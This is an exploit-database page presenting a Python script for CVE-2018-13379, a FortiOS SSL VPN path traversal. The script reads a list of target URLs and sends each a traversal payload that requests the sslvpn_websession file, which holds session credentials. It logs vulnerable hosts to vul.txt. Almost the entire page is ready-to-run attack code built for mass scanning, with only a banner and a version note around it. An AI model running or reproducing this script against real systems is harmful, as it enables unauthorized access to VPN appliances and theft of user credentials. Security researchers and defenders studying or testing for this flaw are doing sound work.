Exploit databaseDownload repository ZIP
GH-52cfbbe1b98d8673cbe998c336294ba2
b1anda0/cve-2018-13379
Sources for CVE-2018-13379
20 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
b1anda0/cve-2018-13379Revision 5a8c3ccb3177
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2018-13379.py
Python · 1,940 bytes#!/usr/bin/env python
# coding:utf-8
# author:B1anda0
#affect version FortiOS 5.6.3-5.6.7,6.0.0-6.0.4
import requests,sys,colorama
from colorama import *
init(autoreset=True)
banner='''\033[1;33;40m
_______ ________ ___ ___ __ ___ __ ____ ____ ______ ___
/ ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ |___ \___ \____ / _ \
| | \ \ / /| |__ ______ ) | | | || | (_) |_____| | __) |__) | / / (_) |
| | \ \/ / | __|______/ /| | | || |> _ <______| ||__ <|__ < / / \__, |
| |____ \ / | |____ / /_| |_| || | (_) | | |___) |__) |/ / / /
\_____| \/ |______| |____|\___/ |_|\___/ |_|____/____//_/ /_/
'''
def verify():
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"}
payload= '/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession'
poc=urls+payload
try:
requests.packages.urllib3.disable_warnings()#解决InsecureRequestWarning警告
response=requests.get(poc,headers=headers,timeout=15,verify=False)
if response.status_code==200 and "fgt_lang" in response.content:
print(u'\033[1;31;40m[+]{} is fortios directory traversal vulnerability'.format(urls))
#将漏洞地址输出在Vul.txt中
f=open('./vul.txt','a')
f.write(urls)
f.write('\n')
else:
print('\033[1;32;40m[-]{} None'.format(urls))
except:
print('{} request timeout'.format(urls))
if __name__ == '__main__':
print (banner)
if len(sys.argv)!=2:
print('Example:python CVE-2018-13379.py urls.txt')
else:
file = open(sys.argv[1])
for url in file.readlines():
urls=url.strip()
if urls[-1]=='/':
urls=urls[:-1]
verify()
print ('Check Over')